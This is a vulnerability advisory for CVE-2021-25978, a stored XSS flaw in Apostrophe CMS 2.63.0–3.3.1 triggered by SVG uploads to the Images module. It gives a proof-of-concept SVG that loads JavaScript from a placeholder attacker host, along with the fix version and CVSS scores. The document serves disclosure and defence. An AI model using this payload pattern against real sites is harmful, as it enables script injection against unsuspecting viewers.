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CVE-2021-25978
Date: November 7, 2021
Overview
Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, which triggers XSS once viewed.Details
Apostrophe CMS versions between 2.63.0 to 3.3.1 are vulnerable to Stored XSS where an editor uploads an SVG file that contains malicious JavaScript onto the Images module, Stored XSS enables self-contained attacks within the application. An attacker doesn't need to find an way of inducing users to make a particular request containing their exploit.PoC Details
Navigate to the "Images" tab and upload the malicious svg file.Run a simple HTTP server with content in “poc.js” file as “alert(“XSS”);”
PoC Code
<svg xmlns="http://www.url.org/2000/svg"
xmlns:xlink="http://www.url.org/1999/xlink">
<script type="text/javascript" href="http://IPADDRESS/poc.js"></script>
</svg>Affected Environments
2.63.0-3.3.1Prevention
Upgrade to version 3.4.0Language: JS
Good to know:
| Base Score: |
|
|---|---|
| Attack Vector (AV): | Network |
| Attack Complexity (AC): | Low |
| Privileges Required (PR): | Low |
| User Interaction (UI): | Required |
| Scope (S): | Changed |
| Confidentiality (C): | Low |
| Integrity (I): | Low |
| Availability (A): | None |
| Base Score: |
|
|---|---|
| Access Vector (AV): | Network |
| Access Complexity (AC): | Medium |
| Authentication (AU): | Single |
| Confidentiality (C): | None |
| Integrity (I): | Partial |
| Availability (A): | None |
| Additional information: |